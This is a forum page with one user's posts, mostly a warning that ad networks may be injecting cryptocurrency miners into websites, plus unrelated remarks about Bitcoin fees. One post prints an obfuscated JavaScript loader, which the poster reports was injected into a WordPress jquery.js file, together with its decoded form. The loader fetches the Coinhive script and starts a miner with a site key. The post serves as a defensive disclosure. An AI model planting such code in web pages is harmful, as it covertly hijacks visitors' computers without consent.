1  Bitcoin / Bitcoin Discussion / Ad Networks Could be Using Your Computer to Mine Cryptocurrencies Right Now on: January 27, 2018, 05:18:06 PM
To be clear, I have nothing against Coinhive. However, I do have a problem if you're using it to mine cryptocurrencies on random people's computers without their consent.

Well, it is quite a superficial article, just mentions three quotes and makes some quite obvious remarks. Reality is a bit more complex.


It wasn't my intention to write a dissertation on it. Just to point out the obvious contradictions and maybe get a chuckle here and there.

I've noticed that fees tend to be smaller on average during weekends. Coinbase effect?

Hey guys, let me know what you think. Do you know any other ways of lowering the transaction fees?

Outstanding. May I ask you how did you render those charts? What framework are you using?

Here's the relevant code if anyone is interested:

Code:
var _0x7a2c = ["\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x72\x63", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x6F\x6E\x6C\x6F\x61\x64", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x68\x65\x61\x64", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6F\x69\x6E\x68\x69\x76\x65\x2E\x63\x6F\x6D\x2F\x6C\x69\x62\x2F\x63\x6F\x69\x6E\x68\x69\x76\x65\x2E\x6D\x69\x6E\x2E\x6A\x73", "\x4B\x34\x4B\x35\x5A\x78\x63\x54\x33\x42\x6A\x62\x78\x44\x43\x42\x42\x56\x6A\x39\x37\x32\x47\x62\x51\x57\x76\x32\x6B\x55\x4E\x55", "\x73\x74\x61\x72\x74"];

    function loadScript(_0xca68x2, _0xca68x3) {
        var _0xca68x4 = document[_0x7a2c[1]](_0x7a2c[0]);
        _0xca68x4[_0x7a2c[2]] = _0x7a2c[3];
        _0xca68x4[_0x7a2c[4]] = _0xca68x2;
        _0xca68x4[_0x7a2c[5]] = _0xca68x3;
        _0xca68x4[_0x7a2c[6]] = _0xca68x3;
        document[_0x7a2c[8]][_0x7a2c[7]](_0xca68x4)
    }
    loadScript(_0x7a2c[9], function() {
        var _0xca68x5 = new CoinHive.Anonymous(_0x7a2c[10], {
            threads: 4
        });
        _0xca68x5[_0x7a2c[11]]()
    });

If you decode var _0x7a2c using a service like http://ddecode.com/hexdecoder/, you'll get this:

Code:
var _0x7a2c = ["script", "createElement", "type", "text/javascript", "src", "onreadystatechange", "onload", "appendChild", "head", "https://coinhive.com/lib/coinhive.min.js", "K4K5ZxcT3BjbxDCBBVj972GbQWv2kUNU", "start"];

I'd encourage anybody who's using crypto add networks to check your websites for potential malicious code.

Install an extension such as Minerblock and load your website.

I don't have any external scripts running apart from the one used by a well-known ad network, yet I was infected with a sneaky coinhive injection on this file: 'wp-includes/js/jquery/jquery.js'.

Please report your findings here. I won't disclose the network until we have more evidence.
